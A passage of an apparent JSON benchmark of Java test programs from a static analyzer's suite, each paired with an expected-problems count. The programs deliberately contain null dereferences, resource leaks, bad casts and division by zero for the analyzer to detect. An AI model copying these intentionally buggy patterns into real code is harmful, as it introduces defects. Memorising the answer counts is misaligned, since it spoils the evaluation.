for (int i = 0; i < arr.length; i++) {\n int j = arr[i];\n }\n }\n\n public void buggyIterOk(int[] arr1, int[] arr2) {\n for (int i = 0; i < arr1.length; i++) {\n arr2[i] = 7;\n }\n }\n\n public void switchedArrsOutOfBoundsOk() {\n buggyIterOk(new int[11], new int[10]);\n }\n\n public void buggyNestedLoop1Ok(int[] arr1, int[] arr2) {\n for (int i = 0; i < arr1.length; i++) {\n for (int j = 0; i < arr2.length; j++) {\n arr1[i] = arr1[i] + arr2[j];\n }\n }\n }\n\n public void nestedOutOfBounds1Ok() {\n buggyNestedLoop1Ok(new int[11], new int[10]);\n }\n\n public void buggyNestedLoop2Ok(int[] arr1, int[] arr2) {\n for (int i = 0; i < arr1.length; i++) {\n for (int j = 0; j < arr2.length; i++) {\n arr1[i] = arr1[i] + arr2[j];\n }\n }\n }\n\n public void nestedOutOfBounds2Ok() {\n buggyNestedLoop2Ok(new int[11], new int[10]);\n }\n\n public void buggyNestedLoop3Ok(int[] arr1, int[] arr2) {\n for (int i = 0; i < arr1.length; i++) {\n for (int j = 0; j < arr2.length; j++) {\n arr1[i] = 2 * arr2[i];\n }\n }\n }\n\n public void nestedOutOfBounds3Ok() {\n buggyNestedLoop3Ok(new int[11], new int[10]);\n }\n\n public void safeNestedLoopOk(int[] arr1, int[] arr2) {\n for (int i = 0; i < arr1.length; i++) {\n for (int j = 0; j < arr2.length; j++) {\n arr1[i] = arr1[i] + arr2[j];\n }\n }\n }\n\n public void nestedInBoundsOk() {\n safeNestedLoopOk(new int[11], new int[10]);\n }\n}\n" + }, + { + "testname": "Assertion.java", + "testlanguage": "java", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\npublic class Assertion {\n\n public void assertFalseBad() {\n assert false;\n }\n\n public void assertTrueOk() {\n assert true;\n }\n\n /* the assert-error issue is not latent: we consider such a\n partial function should be considered bad */\n public void runAssertBooleanLatentBad(boolean b) {\n assert b;\n }\n\n /* the assert-error issue is not latent: we consider such a\n partial function should be considered bad */\n public void runAssertIntLatentBad(int i) {\n assert (i > 0);\n }\n}\n" + }, + { + "testname": "AutoGenerated.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\n/* @generated */\n\npublic class AutoGenerated {\n\n void npeBad() {\n String s = null;\n int n = s.length();\n }\n}\n" + }, + { + "testname": "ClassCastExceptions.java", + "testlanguage": "java", + "expected-problems": 27, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\n\nclass SuperClass {}\n\nclass SubClassA extends SuperClass {}\n\nclass SubClassB extends SuperClass {}\n\ninterface MyInterface {\n public int getInt();\n}\n\nclass ImplementationOfInterface implements MyInterface {\n\n public int getInt() {\n return 0;\n }\n}\n\nclass AnotherImplementationOfInterface implements MyInterface {\n public int getInt() {\n return 1;\n }\n}\n\npublic class ClassCastExceptions {\n\n public void classCastExceptionBad() {\n SuperClass a = new SubClassA();\n SubClassB b = (SubClassB) a;\n }\n\n public int classCastExceptionImplementsInterfaceCalleeOk(MyInterface i) {\n ImplementationOfInterface impl = (ImplementationOfInterface) i;\n return impl.getInt();\n }\n\n public int classCastExceptionImplementsInterfaceBad() {\n return classCastExceptionImplementsInterfaceCalleeOk(new AnotherImplementationOfInterface());\n }\n\n public String getURL() {\n return \"http://bla.com\";\n }\n\n public void openHttpURLConnectionOk() throws IOException {\n URL url = new URL(getURL());\n HttpURLConnection connection = (HttpURLConnection) url.openConnection();\n connection.disconnect();\n }\n\n public void castingArrayOfPrimitiveTypeOk(int[] a) {\n int[] b = (int[]) a;\n }\n}\n" + }, + { + "testname": "CloseableAsResourceExample.java", + "testlanguage": "java", + "expected-problems": 58, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.Closeable;\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.io.StringReader;\nimport java.util.HashMap;\nimport java.util.Map;\n\nclass LocalException extends IOException {}\n\nclass SomeResource implements Closeable {\n\n void doSomething() throws LocalException {\n if (!CloseableAsResourceExample.star()) {\n throw new LocalException();\n }\n }\n\n public void close() {}\n\n native void foo(int i);\n\n static native void bar(SomeResource r);\n}\n\nclass Resource implements Closeable {\n public Resource() {}\n\n public void close() {}\n}\n\nclass Wrapper implements Closeable {\n Resource mR;\n\n public Wrapper(Resource r) {\n mR = r;\n }\n\n public void close() {\n mR.close();\n }\n}\n\nclass Sub extends Wrapper {\n public Sub(Resource r) {\n super(r);\n }\n}\n\nclass ResourceWithException implements Closeable {\n\n public void close() throws IOException {\n if (CloseableAsResourceExample.star()) {\n throw new IOException();\n }\n }\n}\n\nclass ByteArrayOutputStreamWrapper extends ByteArrayOutputStream {}\n\nclass ByteArrayInputStreamWrapper extends ByteArrayInputStream {\n\n public ByteArrayInputStreamWrapper(byte[] arr) {\n super(arr);\n }\n}\n\npublic class CloseableAsResourceExample {\n\n static native boolean star();\n\n void closingCloseable() {\n SomeResource res = new SomeResource();\n res.close();\n }\n\n void notClosingCloseable() {\n SomeResource res = new SomeResource();\n } // should report a resource leak\n\n void tryWithResource() {\n try (SomeResource res = new SomeResource()) {\n try {\n res.doSomething();\n } catch (LocalException e) {\n // do nothing\n }\n }\n }\n\n void withExceptionBad() throws LocalException {\n SomeResource res = new SomeResource();\n res.doSomething();\n res.close();\n } // should report a resource leak\n\n void closingWrapper() {\n Resource r = new Resource();\n Sub s = new Sub(r);\n s.close();\n }\n\n void notClosingWrapper() {\n Sub s = new Sub(new Resource());\n s.mR.close();\n } // should report a resource leak\n\n void needToCloseStringReaderBad() {\n // The need for closing a StringReader is a bit controversial\n // between Java programmers. But not closing it would violate\n // the spec of the interface java.io.Reader anyway\n StringReader stringReader = new StringReader(\"paf!\");\n }\n\n void noNeedToCloseByteArrayOutputStream() {\n ByteArrayOutputStream stream = new ByteArrayOutputStream(42);\n }\n\n void noCloseByteArrayWrappersOk(byte[] array) {\n ByteArrayOutputStreamWrapper stream1 = new ByteArrayOutputStreamWrapper();\n ByteArrayInputStreamWrapper stream2 = new ByteArrayInputStreamWrapper(array);\n }\n\n void noNeedToCloseByteArrayInputStream(byte[] array) {\n ByteArrayInputStream stream = new ByteArrayInputStream(array);\n }\n\n void closingWithCloseQuietly() {\n SomeResource r = null;\n try {\n r = new SomeResource();\n r.doSomething();\n } catch (IOException e) {\n } finally {\n Utils.closeQuietly(r);\n }\n }\n\n void failToCloseWithCloseQuietly() {\n try {\n SomeResource r = new SomeResource();\n r.doSomething();\n Utils.closeQuietly(r);\n } catch (IOException e) {\n }\n }\n\n void noLeakwithExceptionOnClose() throws IOException {\n ResourceWithException res = new ResourceWithException();\n res.close();\n }\n\n void noLeakWithCloseQuietlyAndExceptionOnClose() {\n ResourceWithException res = new ResourceWithException();\n Utils.closeQuietly(res);\n }\n\n static T sourceOfNullWithResourceLeak() {\n SomeResource r = new SomeResource();\n return null;\n }\n\n interface MyCloseable extends Closeable {}\n\n class MyResource implements MyCloseable {\n public void close() {}\n }\n\n void leakFoundWhenIndirectlyImplementingCloseable() {\n MyResource res = new MyResource();\n }\n\n void skippedCallClosesResourceOnArgs() {\n SomeResource res = new SomeResource();\n SomeResource.bar(res);\n }\n\n void skippedVritualCallDoesNotCloseResourceOnReceiver() {\n SomeResource res = new SomeResource();\n res.foo(42);\n }\n\n Map returnsLocalMapContainingResourcesOk() {\n HashMap map = new HashMap<>();\n SomeResource res = new SomeResource();\n Integer key = 42;\n map.put(key, res);\n return map;\n }\n\n void createsLocalMapContainingResourcesOk() {\n HashMap map = new HashMap<>();\n SomeResource res = new SomeResource();\n Integer key = 42;\n map.put(key, res);\n map.clear();\n }\n\n HashMap resourceMap = new HashMap<>();\n\n void fieldMapContainingResourcesOk() {\n Integer key = 42;\n SomeResource res = new SomeResource();\n resourceMap.put(key, res);\n }\n\n // this case is not supported\n void FN_notClearinglocalMapContainingResourcesBad() {\n HashMap map = new HashMap<>();\n SomeResource res = new SomeResource();\n Integer key = 42;\n map.put(key, res);\n }\n\n public static void closeCloseable(Closeable closeable) {\n try {\n if (closeable != null) {\n closeable.close();\n }\n } catch (Exception ex) {\n }\n }\n\n public void finallyCloseOk(File file, String fileContent) {\n if (!file.exists()) {\n FileWriter writer = null;\n try {\n writer = new FileWriter(file);\n writer.write(fileContent);\n } catch (FileNotFoundException e) {\n e.printStackTrace();\n } catch (IOException e) {\n e.printStackTrace();\n } finally {\n closeCloseable(writer);\n }\n }\n }\n}\n" + }, + { + "testname": "CountDeadCode.java", + "testlanguage": "java", + "expected-problems": 15, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\n/*\n This is a test file specific to the unreachability counting\n*/\n\npublic class CountDeadCode {\n\n public int no_deadcode() {\n int i = 0;\n int x = 0;\n if (i == 0) {\n x = 1;\n }\n return x;\n }\n\n public int else_with_deadcode() {\n int i = 0;\n int x;\n if (i == 0) {\n x = 0;\n } else { // only this part\n x = 1; // is counted as unreachable\n }\n return x;\n }\n\n public int long_catch_block() {\n try {\n int i = 0;\n int x;\n if (i == 0) {\n x = 0;\n } else { // only this part\n x = 1; // is counted as unreachable\n }\n return x;\n } catch (Exception e) { // the unreachability count\n int i = 0; // will not take into account\n i++; // this block\n i++;\n i++;\n i++;\n i++;\n i++;\n i++;\n i++;\n i++;\n i++;\n i++;\n i++;\n i++;\n i++;\n i++;\n return 0;\n }\n }\n}\n" + }, + { + "testname": "CursorLeaks.java", + "testlanguage": "java", + "expected-problems": 38, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport android.app.DownloadManager;\nimport android.content.ContentProviderClient;\nimport android.content.ContentResolver;\nimport android.content.Context;\nimport android.database.Cursor;\nimport android.database.CursorWrapper;\nimport android.database.sqlite.SQLiteDatabase;\nimport android.database.sqlite.SQLiteQueryBuilder;\nimport android.os.RemoteException;\nimport android.provider.MediaStore;\n\npublic class CursorLeaks {\n\n public int cursorClosed(SQLiteDatabase sqLiteDatabase) {\n Cursor cursor = sqLiteDatabase.query(\"events\", null, null, null, null, null, null);\n try {\n return cursor.getCount();\n } finally {\n cursor.close();\n }\n }\n\n public Object cursorClosedCheckNull(SQLiteDatabase sqLiteDatabase) {\n Cursor cursor = sqLiteDatabase.query(\"events\", null, null, null, null, null, null);\n Object value = null;\n\n try {\n if (cursor == null) {\n return null;\n }\n\n value = cursor.getString(0);\n } finally {\n if (cursor != null) {\n cursor.close();\n }\n }\n return value;\n }\n\n public Object cursorClosedCheckNullCheckClosed_FP(SQLiteDatabase sqLiteDatabase) {\n Cursor cursor = sqLiteDatabase.query(\"events\", null, null, null, null, null, null);\n Object value = null;\n\n try {\n if (cursor == null) {\n return null;\n }\n\n value = cursor.getString(0);\n } finally {\n if (cursor != null && !cursor.isClosed()) {\n cursor.close();\n }\n }\n return value;\n }\n\n public int cursorNotClosed(SQLiteDatabase sqLiteDatabase) {\n Cursor cursor = sqLiteDatabase.query(\"events\", null, null, null, null, null, null);\n return cursor.getCount();\n }\n\n Context mContext;\n ContentResolver mContentResolver;\n\n public int getImageCountHelperNotClosed(String customClause) {\n String[] projection = {\"COUNT(*)\"};\n\n String selectionClause = selectionClause = customClause;\n\n Cursor cursor =\n mContext.getContentResolver().query(null, projection, selectionClause, null, null);\n\n if (cursor != null) {\n int count = cursor.getInt(0);\n // cursor.close();\n return count;\n } else {\n return 0;\n }\n }\n\n public int getImageCountHelperClosed(String customClause) {\n String[] projection = {\"COUNT(*)\"};\n\n String selectionClause = selectionClause = customClause;\n\n Cursor cursor =\n mContext.getContentResolver().query(null, projection, selectionClause, null, null);\n\n if (cursor != null) {\n int count = cursor.getInt(0);\n cursor.close();\n return count;\n } else {\n return 0;\n }\n }\n\n public int getBucketCountNotClosed() {\n Cursor cursor = MediaStore.Images.Media.query(mContentResolver, null, null, null, null, null);\n if (cursor == null) {\n return 0;\n } else {\n int count = 0;\n while (cursor.moveToNext()) {\n count++;\n }\n return count;\n }\n }\n\n public int getBucketCountClosed() {\n Cursor cursor = MediaStore.Images.Media.query(mContentResolver, null, null, null, null, null);\n if (cursor == null) {\n return 0;\n } else {\n try {\n int count = 0;\n while (cursor.moveToNext()) {\n count++;\n }\n return count;\n } finally {\n cursor.close();\n }\n }\n }\n\n private void queryUVMLegacyDbNotClosed() {\n SQLiteQueryBuilder builder = new SQLiteQueryBuilder();\n builder.setTables(\"\");\n Cursor cursor = builder.query(null, null, \"\", null, null, null, null);\n if (cursor != null) cursor.moveToFirst();\n }\n\n private void queryUVMLegacyDbClosed() {\n SQLiteQueryBuilder builder = new SQLiteQueryBuilder();\n builder.setTables(\"\");\n Cursor cursor = builder.query(null, null, \"\", null, null, null, null);\n if (cursor != null) cursor.close();\n }\n\n public int completeDownloadClosed(DownloadManager downloadManager) {\n DownloadManager.Query query = new DownloadManager.Query();\n Cursor cursor = (Cursor) null;\n try {\n cursor = downloadManager.query(query);\n if (cursor == null) {\n return 0;\n } else {\n return cursor.getColumnIndex(DownloadManager.COLUMN_STATUS);\n }\n } finally {\n if (cursor != null) cursor.close();\n }\n }\n\n public int completeDownloadNotClosed(DownloadManager downloadManager) {\n DownloadManager.Query query = new DownloadManager.Query();\n Cursor cursor = null;\n try {\n cursor = downloadManager.query(query);\n if (cursor == null) {\n return 0;\n } else {\n return cursor.getColumnIndex(DownloadManager.COLUMN_STATUS);\n }\n } finally {\n // cursor.close();\n }\n }\n\n private void loadPrefsFromContentProviderClosed() {\n ContentProviderClient contentProviderClient = mContentResolver.acquireContentProviderClient(\"\");\n if (contentProviderClient != null) {\n Cursor cursor = null;\n try {\n try {\n cursor = contentProviderClient.query(null, null, null, null, null);\n } catch (RemoteException ex) {\n }\n } finally {\n if (cursor != null) {\n cursor.close();\n }\n }\n }\n }\n\n private void loadPrefsFromContentProviderNotClosed() {\n ContentProviderClient contentProviderClient = mContentResolver.acquireContentProviderClient(\"\");\n if (contentProviderClient == null) return;\n Cursor cursor = null;\n try {\n try {\n cursor = contentProviderClient.query(null, null, null, null, null);\n } catch (RemoteException ex) {\n }\n } finally {\n if (cursor != null) {\n // cursor.close();\n }\n }\n }\n\n class NamedCursor extends CursorWrapper {\n private String mName;\n\n NamedCursor(Cursor cursor, String name) {\n super(cursor);\n mName = name;\n }\n }\n\n public Cursor cursorWrapperReturned(SQLiteDatabase sqLiteDatabase) {\n Cursor cursor = sqLiteDatabase.query(\"events\", null, null, null, null, null, null);\n return new NamedCursor(cursor, \"abc\");\n }\n\n // TODO (#7474990): investigate why is Infer reporting a resource leak here\n // public void cursorWrapperClosed(SQLiteDatabase sqLiteDatabase) {\n // Cursor cursor = sqLiteDatabase.query(\"events\", null, null, null, null, null, null);\n // Cursor c = new NamedCursor(cursor, \"abc\");\n // c.close();\n // }\n\n native NamedCursor createWrapper(Cursor cursor);\n\n public NamedCursor cursorAttachedTheWrapper(SQLiteDatabase sqLiteDatabase) {\n Cursor cursor = sqLiteDatabase.query(\"events\", null, null, null, null, null, null);\n return createWrapper(cursor);\n }\n}\n" + }, + { + "testname": "CursorNPEs.java", + "testlanguage": "java", + "expected-problems": 14, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport android.app.DownloadManager;\nimport android.content.ContentProviderClient;\nimport android.content.ContentResolver;\nimport android.content.Context;\nimport android.database.Cursor;\nimport android.database.sqlite.SQLiteDatabase;\nimport android.database.sqlite.SQLiteQueryBuilder;\nimport android.os.RemoteException;\nimport android.provider.MediaStore;\n\npublic class CursorNPEs {\n\n public int cursorNPEfromQuery(SQLiteDatabase sqLiteDatabase) {\n Cursor cursor = sqLiteDatabase.query(\"events\", null, null, null, null, null, null);\n try {\n return cursor.getCount();\n } finally {\n cursor.close();\n }\n }\n\n Context mContext;\n ContentResolver mContentResolver;\n\n public void FN_cursorFromContentResolverNPE(String customClause) {\n String[] projection = {\"COUNT(*)\"};\n\n String selectionClause = selectionClause = customClause;\n\n Cursor cursor =\n mContext.getContentResolver().query(null, projection, selectionClause, null, null);\n\n cursor.close();\n }\n\n public void FN_cursorFromMediaNPE() {\n Cursor cursor = MediaStore.Images.Media.query(mContentResolver, null, null, null, null, null);\n cursor.close();\n }\n\n private void cursorFromSQLiteQueryBuilderNPE() {\n SQLiteQueryBuilder builder = new SQLiteQueryBuilder();\n builder.setTables(\"\");\n Cursor cursor = builder.query(null, null, \"\", null, null, null, null);\n cursor.close();\n }\n\n public int FN_cursorFromDownloadManagerNPE(DownloadManager downloadManager) {\n DownloadManager.Query query = new DownloadManager.Query();\n Cursor cursor = null;\n try {\n cursor = downloadManager.query(query);\n return cursor.getColumnIndex(DownloadManager.COLUMN_STATUS);\n } finally {\n if (cursor != null) cursor.close();\n }\n }\n\n private void cursorFromContentProviderClient() {\n ContentProviderClient contentProviderClient = mContentResolver.acquireContentProviderClient(\"\");\n if (contentProviderClient != null) {\n Cursor cursor = null;\n try {\n try {\n cursor = contentProviderClient.query(null, null, null, null, null);\n cursor.moveToFirst();\n } catch (RemoteException ex) {\n }\n } finally {\n if (cursor != null) {\n cursor.close();\n }\n }\n }\n }\n}\n" + }, + { + "testname": "DefaultInInterface.java", + "testlanguage": "java", + "expected-problems": 25, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npublic class DefaultInInterface {\n\n static interface I {\n default Object defaultMethod1() {\n return null;\n }\n\n default Object defaultMethod2() {\n return \"foo\";\n }\n }\n\n public static class A implements I {\n public void defaultCallNPE() {\n System.out.println(this.defaultMethod1().toString());\n }\n\n public void defaultCallOk() {\n System.out.println(this.defaultMethod2().toString());\n }\n }\n\n public static class B extends A {\n public Object defaultMethod1() {\n return \"foo\";\n }\n\n public Object defaultMethod2() {\n return null;\n }\n\n public void overridenCallOk() {\n System.out.println(this.defaultMethod1().toString());\n }\n\n public void overridenCallNPE() {\n System.out.println(this.defaultMethod2().toString());\n }\n }\n\n static void uncertainCallMethod1NPE(int i) {\n A aAorB = new A();\n if (i > 0) { // feasible path\n aAorB = new B();\n }\n System.out.println(aAorB.defaultMethod1().toString());\n }\n\n static void uncertainCallMethod2NPE(int i) {\n A aAorB = new A();\n if (i > 0) { // feasible path\n aAorB = new B();\n }\n System.out.println(aAorB.defaultMethod2().toString());\n }\n}\n" + }, + { + "testname": "DivideByZero.java", + "testlanguage": "java", + "expected-problems": 20, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\npublic class DivideByZero {\n\n public int divByZeroLocal(String s) {\n int denominator = 0;\n int nominator = 10;\n int result = nominator / denominator;\n return result;\n }\n\n public int divideByZeroInterProc(int denominator) {\n return 10 / denominator;\n }\n\n // DO NOT MOVE, test relies on line number\n public int callDivideByZeroInterProc() {\n return divideByZeroInterProc(0);\n }\n\n // divide by zero with static fields\n private static int x;\n\n public void setXToZero() {\n x = 0;\n }\n\n public int divideByZeroWithStaticField() {\n setXToZero();\n return divideByZeroInterProc(x);\n }\n}\n" + }, + { + "testname": "DoubleExample.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport javax.annotation.Nullable;\n\npublic class DoubleExample {\n\n @Nullable Double x;\n\n private Double testAssignNonNullOk() {\n x = 1.0;\n return x + 1.0;\n }\n\n private Double FN_testdReadNullableBad() {\n return x + 1.0;\n }\n}\n" + }, + { + "testname": "DynamicDispatch.java", + "testlanguage": "java", + "expected-problems": 74, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\npublic class DynamicDispatch {\n\n static interface Interface {\n public Object foo();\n }\n\n static class Impl implements Interface {\n @Override\n public Object foo() {\n return null;\n }\n }\n\n static final class FinalImpl extends Impl {}\n\n static void interfaceShouldNotCauseFalseNegativeEasyBad() {\n Interface i = new Impl();\n // should be a warning since Impl's implementation of foo returns null\n i.foo().toString();\n }\n\n static void FN_interfaceShouldNotCauseFalseNegativeHardOK(Interface i) {\n i.foo().toString();\n }\n\n static void callWithBadImplementationBad_FN(Impl impl) {\n FN_interfaceShouldNotCauseFalseNegativeHardOK(impl);\n }\n\n static void callWithBadFinalImplementationBad(FinalImpl impl) {\n FN_interfaceShouldNotCauseFalseNegativeHardOK(impl);\n }\n\n static class Supertype {\n Object foo() {\n return new Object();\n }\n\n Object bar() {\n return null;\n }\n }\n\n static class Subtype extends Supertype {\n @Override\n Object foo() {\n return null;\n }\n\n @Override\n Object bar() {\n return new Object();\n }\n }\n\n static void dynamicDispatchShouldNotCauseFalseNegativeEasyBad() {\n Supertype o = new Subtype();\n // should report a warning because we know the dynamic type of o is Subtype\n o.foo().toString();\n }\n\n static void dynamicDispatchShouldNotCauseFalsePositiveEasyOK() {\n Supertype o = new Subtype();\n // should not report a warning because we know the dynamic type of o is Subtype\n o.bar().toString();\n }\n\n static void dynamicDispatchShouldNotReportWhenCallingSupertypeOK(Supertype o) {\n // should not report a warning because the Supertype implementation\n // of foo() does not return null\n o.foo().toString();\n }\n\n static void dynamicDispatchShouldReportWhenCalledWithSubtypeParameterBad_FN(Subtype o) {\n // should report a warning because the Subtype implementation\n // of foo() returns null\n dynamicDispatchShouldNotReportWhenCallingSupertypeOK(o);\n }\n\n static Object dynamicDispatchWrapperFoo(Supertype o) {\n return o.foo();\n }\n\n static Object dynamicDispatchWrapperBar(Supertype o) {\n return o.bar();\n }\n\n static void dynamicDispatchCallsWrapperWithSupertypeOK() {\n // Should not report because Supertype.foo() does not return null\n Supertype o = new Supertype();\n dynamicDispatchWrapperFoo(o).toString();\n }\n\n static void dynamicDispatchCallsWrapperWithSupertypeBad() {\n // Should report because Supertype.bar() returns null\n Supertype o = new Supertype();\n dynamicDispatchWrapperBar(o).toString();\n }\n\n static void dynamicDispatchCallsWrapperWithSubtypeBad() {\n // Should report because Subtype.foo() returns null\n Supertype o = new Subtype();\n dynamicDispatchWrapperFoo(o).toString();\n }\n\n static void dynamicDispatchCallsWrapperWithSubtypeOK() {\n // Should not report because Subtype.bar() does not returns null\n Supertype o = new Subtype();\n dynamicDispatchWrapperBar(o).toString();\n }\n\n static class WithField {\n\n Supertype mField;\n\n WithField(Supertype t) {\n mField = t;\n }\n\n static void dispatchOnFieldOK() {\n Supertype subtype = new Subtype();\n WithField object = new WithField(subtype);\n object.mField.bar().toString();\n }\n\n static void dispatchOnFieldBad() {\n Supertype subtype = new Subtype();\n WithField object = new WithField(subtype);\n object.mField.foo().toString();\n }\n }\n\n private Object callFoo(Supertype o) {\n return o.foo();\n }\n\n void dynamicResolutionWithPrivateMethodBad() {\n Supertype subtype = new Subtype();\n callFoo(subtype).toString();\n }\n\n Object variadicMethod(Supertype... args) {\n if (args.length == 0) {\n return null;\n } else {\n return args[0].foo();\n }\n }\n\n void dynamicResolutionWithVariadicMethodBad() {\n Supertype subtype = new Subtype();\n variadicMethod(subtype, null, null).toString();\n }\n}\n\nclass InheritanceDispatch {\n class A {\n int foo() {\n return 32;\n }\n }\n\n class B extends A {\n int foo() {\n return 52;\n }\n }\n\n class C extends B {}\n\n A getB() {\n return new B();\n }\n\n A getC() {\n return new C();\n }\n\n void dispatch_to_B_ok() {\n A b = getB();\n if (b.foo() == 32) {\n Object o = null;\n o.toString();\n }\n }\n\n void dispatch_to_B_bad() {\n A b = getB();\n if (b.foo() == 52) {\n Object o = null;\n o.toString();\n }\n }\n\n void dispatch_to_A_bad() {\n A a = new A();\n if (a.foo() == 32) {\n Object o = null;\n o.toString();\n }\n }\n\n void dispatch_to_C_bad() {\n A c = getC();\n if (c.foo() == 52) {\n Object o = null;\n o.toString();\n }\n }\n}\n\nclass Specialization {\n\n static class C {\n C f;\n }\n\n abstract static class A {\n abstract C buildC();\n\n C callBuildC(A a) {\n return a.buildC();\n }\n }\n\n static class A_Good extends A {\n C buildC() {\n return new C();\n }\n\n }\n\n static class A_Bad extends A {\n C buildC() {\n return null;\n }\n\n }\n\n // basic specialization on parameters\n C callBuildCGood(A a) {\n return a.buildC();\n }\n\n C buildCAndDerefBad() {\n return callBuildCGood(new A_Bad()).f;\n }\n\n C buildCAndDerefGood() {\n return callBuildCGood(new A_Good()).f;\n }\n\n // specialization on field\n static class Box1 {\n Box2 f1;\n\n Box1(Box2 f1) {\n this.f1 = f1;\n }\n }\n\n static class Box2 {\n Box3 f2;\n\n Box2(Box3 f2) {\n this.f2 = f2;\n }\n }\n\n static class Box3 {\n A f3;\n\n Box3(A f3) {\n this.f3 = f3;\n }\n }\n\n C callBuildCOnBoxGood(Box1 box) {\n return box.f1.f2.f3.buildC();\n }\n\n C buildCOnBoxAndDerefBad() {\n return callBuildCOnBoxGood(new Box1(new Box2(new Box3(new A_Bad())))).f;\n }\n\n C buildCOnBoxAndDerefGood() {\n return callBuildCOnBoxGood(new Box1(new Box2(new Box3(new A_Good())))).f;\n }\n\n // require iterative specialization\n C callCallBuildC(A a1, A a2) {\n return a1.callBuildC(a2);\n }\n\n C buildCTransitivelyAndDerefBad() {\n return callCallBuildC(new A_Good(), new A_Bad()).f;\n }\n\n C buildCTransitivelyAndDerefGood() {\n return callCallBuildC(new A_Bad(), new A_Good()).f;\n }\n\n C callBuildCWithEmptyPaths(A a, boolean b) {\n return b ? a.buildC(): null;\n }\n\n C buildCWithInfeasiblePathsAndDerefBad() {\n return callBuildCWithEmptyPaths(new A_Bad(), true).f;\n }\n\n C buildCWithInfeasiblePathsAndDerefGood() {\n return callBuildCWithEmptyPaths(new A_Good(), true).f;\n }\n\n C callBuildCTwiceGood(A a1, A a2) {\n C c = (a1 == null) ? null : a1.buildC();\n return (a2 == null) ? null : a2.buildC();\n }\n\n C buildCAndDerefNeedPartialSpecializationBad(A a) {\n return callBuildCTwiceGood(a, new A_Bad()).f;\n }\n\n C buildCAndDerefNeedPartialSpecializationGood(A a) {\n return callBuildCTwiceGood(a, new A_Good()).f;\n }\n}\n" + }, + { + "testname": "FilterInputStreamLeaks.java", + "testlanguage": "java", + "expected-problems": 44, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.io.*;\nimport java.security.DigestInputStream;\nimport java.util.zip.CheckedInputStream;\nimport java.util.zip.DeflaterInputStream;\nimport java.util.zip.GZIPInputStream;\nimport java.util.zip.InflaterInputStream;\nimport javax.crypto.CipherInputStream;\n\npublic class FilterInputStreamLeaks {\n\n // BufferedInputStream tests\n\n public void bufferedInputStreamNotClosedAfterReadBad() {\n FileInputStream fis;\n try {\n fis = new FileInputStream(\"file.txt\");\n BufferedInputStream bis = new BufferedInputStream(fis);\n bis.read();\n bis.close();\n } catch (IOException e) {\n }\n }\n\n public void bufferedInputStreamClosedAfterResetOk() throws IOException {\n FileInputStream fis;\n BufferedInputStream bis = null;\n try {\n fis = new FileInputStream(\"file.txt\");\n bis = new BufferedInputStream(fis);\n bis.reset();\n } catch (IOException e) {\n } finally {\n if (bis != null) bis.close();\n }\n }\n\n // CheckedInputStream tests\n\n public void checkedInputStreamNotClosedAfterReadBad() {\n FileInputStream fis;\n try {\n fis = new FileInputStream(\"file.txt\");\n CheckedInputStream chis = new CheckedInputStream(fis, null);\n chis.read();\n chis.close();\n } catch (IOException e) {\n }\n }\n\n public void checkedInputStreamClosedAfterSkipOk() throws IOException {\n FileInputStream fis;\n CheckedInputStream chis = null;\n try {\n fis = new FileInputStream(\"file.txt\");\n chis = new CheckedInputStream(fis, null);\n chis.skip(5);\n } catch (IOException e) {\n } finally {\n if (chis != null) chis.close();\n }\n }\n\n // CipherInputStream tests\n\n public void cipherInputStreamNotClosedAfterSkipBad() {\n FileInputStream fis;\n try {\n fis = new FileInputStream(\"file.txt\");\n CipherInputStream cis = new CipherInputStream(fis, null);\n cis.skip(8);\n cis.close();\n } catch (IOException e) {\n }\n }\n\n public void cipherInputStreamClosedAfterReadOk() throws IOException {\n FileInputStream fis;\n CipherInputStream cis = null;\n try {\n fis = new FileInputStream(\"file.txt\");\n cis = new CipherInputStream(fis, null);\n cis.read();\n } catch (IOException e) {\n } finally {\n if (cis != null) cis.close();\n }\n }\n\n // DataInputStream tests\n\n public void dataInputStreamNotClosedAfterReadBad() {\n 